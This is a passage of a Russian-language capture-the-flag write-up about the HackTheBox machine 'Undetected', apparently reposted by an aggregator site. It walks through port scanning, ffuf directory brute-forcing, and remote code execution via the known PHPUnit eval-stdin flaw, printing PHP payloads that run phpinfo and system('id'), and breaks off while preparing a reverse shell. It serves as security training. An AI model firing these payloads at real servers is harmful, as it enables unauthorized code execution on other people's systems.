![](/uploads/posts/2022-08/03.png)
Содержание статьи
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.146 undetected.htb
И запускаем сканирование портов.
![Результат работы скрипта Результат работы скрипта](/uploads/posts/2022-08/02.png)
Мы находим три открытых порта:
- 22 — служба OpenSSH 8.2;
- 80 — веб‑сервер Apache 2.4.41;
- 8000 — веб‑сервер Python 3.8.10;
Выбор не очень широкий, из всего представленного остается работать только с веб‑сервером на 80 порту.
![Главная страница сайта Главная страница сайта](/uploads/posts/2022-08/03.png)
При тестировании веб‑приложений я рекомендую выполнять абсолютно всю работу через Burp Proxy. Это помогло найти ссылку, ведущую на другой домен (а не на тот, что мы придумали).
![Исходный код главной страницы Исходный код главной страницы](/uploads/posts/2022-08/04.png)
Добавляем его в файл /
и просматриваем.
10.10.11.146 undetected.htb store.djewelry.htb
![Главная страница store.djewelry.htb Главная страница store.djewelry.htb](/uploads/posts/2022-08/05.png)
Это тот же сайт, только появилось новое меню, в котором есть корзина и кнопка для авторизации.
Точка входа
Больше ничего интересного найти на сайте не удалось, поэтому попробуем перебрать каталоги при помощи fuff.
Получается следующая команда:
ffuf -uhttp://store.djewelry.htb/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt
![Результат сканирования каталогов с помощью ffuf Результат сканирования каталогов с помощью ffuf](/uploads/posts/2022-08/06.png)
Находим несколько каталогов, из которых реальный интерес представляет всего один — /
. Файла index.
в нем нет, поэтому Apache показывает нам содержимое.
![Содержимое каталога /vendor Содержимое каталога /vendor](/uploads/posts/2022-08/07.png)
Сразу видим, какие программы используются. Можно заглядывать внутрь папок. Пройдясь по ним, мы узнаем и номера версий. Все это сильно облегчит нам поиск уязвимостей. Так, судя по файлам ChangeLog, здесь установлен фреймворк PHPUnit версии 5.6.
![Содержимое каталога /vendor/phpunit/phpunit Содержимое каталога /vendor/phpunit/phpunit](/uploads/posts/2022-08/08.png)
При помощи Google легко находим не только известную уязвимость в ней, но и метод эксплуатации.
![Поиск эксплоитов в Google Поиск эксплоитов в Google](/uploads/posts/2022-08/09.png)
Точка опоры
Файл Util/
до версии 5.6.3 позволяет выполнять произвольный код на PHP через переданные POST-запросом данные, начинающиеся с подстроки <
. Это происходит из‑за следующего кода.
eval(?>.file_get_contents(php://input));
Попробуем отправить тестовую нагрузку из PoC:
<?=phpinfo();?>
![Проверка уязвимости Проверка уязвимости](/uploads/posts/2022-08/10.png)
Запрос был обработан и выполнен! Попробуем выполнить команду id
в командной оболочке.
<?php system("id"); ?>
![Выполнение команды id Выполнение команды id](/uploads/posts/2022-08/11.png)
Команда успешно выполнена — естественно, пробрасываем реверс‑шелл. Для начала откроем листенер (у меня порт 4321) командой rlwrap
. Затем нам нужно закодировать реверс шелл в Base64:
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.